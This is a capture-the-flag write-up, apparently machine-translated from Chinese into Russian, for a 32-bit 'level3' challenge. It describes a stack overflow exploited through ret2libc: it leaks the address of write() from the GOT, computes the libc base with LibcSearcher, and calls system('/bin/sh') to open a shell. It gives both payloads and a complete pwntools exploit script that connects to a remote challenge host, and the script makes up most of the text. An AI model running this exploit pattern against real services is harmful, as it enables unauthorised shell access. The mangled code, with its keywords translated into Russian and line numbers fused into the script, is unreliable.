н.д. битой платформы номер порта, вероятно, как это.
С IDA Pro выглядят как в исходном файле.
Глядя на момент переполнения.
Очевидно, переполнение стека, но никакие системных функций и / бен / ш строка здесь не новая модель, функция получила утечку адресной таблицы попасть в библиотеку, чтобы загрузить реальный адрес функции по компенсируя находку библиотечные функции, загружаемые с помощью затем выяснить реальные адреса других функций, включая функцию системы также включают / бен / ш строку
Ударные идеи:
относительный адрес Libc функции фиксируется, чтобы получить адрес системной функции, может быть вычислен путем смещения функции записи (). 1. Во - первых, написать функцию () для вычисления функции записи () реального адреса; 2. вычислить реальную систему адресов и «/ бен / ш» , используя относительное смещение.
В vulnerable_function (), первый вызов функции записи (), а затем вызвать функцию чтения (). После того , как функция записи () возвращает vulnerable_function (), то вызов функции чтения (), так что мы можем проводить вторичные атаки. - Первая атака , которую мы используем переполнение стека будет написать функцию () в реальном адресе утечки получила таблицу, а потом вычитать в LIBC смещения, вы можете получить LibC базового адрес. - вторая атака , чтобы повторно ввести основную функцию, снова через переполнение стека, а getshell с помощью системной функции.
размер ЬиЕ из 0х88.
Первая конфигурация полезной нагрузки с использованием следующей:
(. 1) полезной нагрузки = 'А' \ * 0x88 + Р32 (0xDEADBEEF) + Р32 (write_plt) + Р32 (main_addr) Р32 + Р32 (write_got) + Р32 (0xDEADBEEF)
Использование первой атаки, вы можете получить базовый адрес LIBC. Затем вторая атака, используется конфигурация полезной нагрузки:
payload0 = 'А' \ * 0x88 + Р32 (0xDEADBEEF) + Р32 (sys_addr) + Р32 (0xDEADBEEF) + Р32 (bin_sh_addr)
0x15902b является «/ бен / ш» адрес LibC, вы можете использовать libcsearch быть приобретены, могут быть использованы строки -a -TX libc_32.so.6 | Grep «/ бен / ш» приобретается.
EXP:
1 из PWn импорта * 2 3 из LibcSearcher импорта * 4 5 Io = удаленный ( " 111.198.29.45 " , 37205 ) 6 7 Эльф = ELF ( " ./level3 " ) 8 # 获取函数 9 10 read_plt = elf.plt [ " чтения " ] 11 12 write_plt = elf.plt [ " писать " ] 13 14 write_got = elf.got [ " писать "] 15 16 main_addr elf.symbols = [ " основная " ] . 17 18 # полученных данных . 19 20 io.recv () 21 22 # символ [88] ЕВР записи функции адрес функции записи возвращает адрес (возврат к основной функции) написать параметры функции один (1) написать функцию двух параметров (write_got адресов) функция записи параметров трис (написать 4 байта) 23 24 Полезная нагрузка = " " * 0x88 25 26 Полезная нагрузка = Р32 + (0xDEADBEEF ) 27 28 Полезная нагрузка + = Р32 (write_plt ) 29 30 Полезная нагрузка + = Р32 (main_addr) 31 32 Полезная нагрузка = Р32 + (. 1 ) 33 34 Полезная нагрузка + = Р32 (write_got) 35 36 Полезная нагрузка = Р32 + (. 4 ) 37 [ 38 39 40 io.sendline (полезная нагрузка) 41 42 # приобретает адрес записи получили 43 44 write_leak = U32 (io.recv () [:. 4 ]) 45 46 печати " write_leak ==> " + гекс (write_leak) 47 48 # вычисляет Lib библиотеку , чтобы загрузить базовый адрес 49 50 Libc = LibcSearcher ( ' Запись ' , write_leak) 51 52= Write_leak libc_base - libc.dump ( ' Запись ' ) 53 54 печати " libc_base ==> " + гекс (libc_base) 55 56 # вычислительная система - адрес 57 58 sys_addr + = libc_base libc.dump ( " система " ) 59 60 печати " sys_addr ==> " + шестигранный (sys_addr) 61 # вычисляет строку / bin / ш адреса. 0x15902b смещение команды: строки -a -TX libc_32.so.6 | Grep " / бен / ш" Get 62 63 bin_sh_addr + = libc_base libc.dump ( "" ) 64 65 печати " bin_sh_addr ==> " + гекс (bin_sh_addr) 66 67 68 69 io.recv () 70 71 # строковое значение функции система возврата адресов [88] Система Система EBP параметры функции (bin_sh_addr) 72 73 payload2 = " " * + 0x88 Р32 (0xDEADBEEF ) 74 75 payload2 = Р32 + (sys_addr) + Р32 (0xDEADBEEF) + Р32 (bin_sh_addr) 76 77 78 79 io.sendline (payload2)
Привет упомянуть флаг.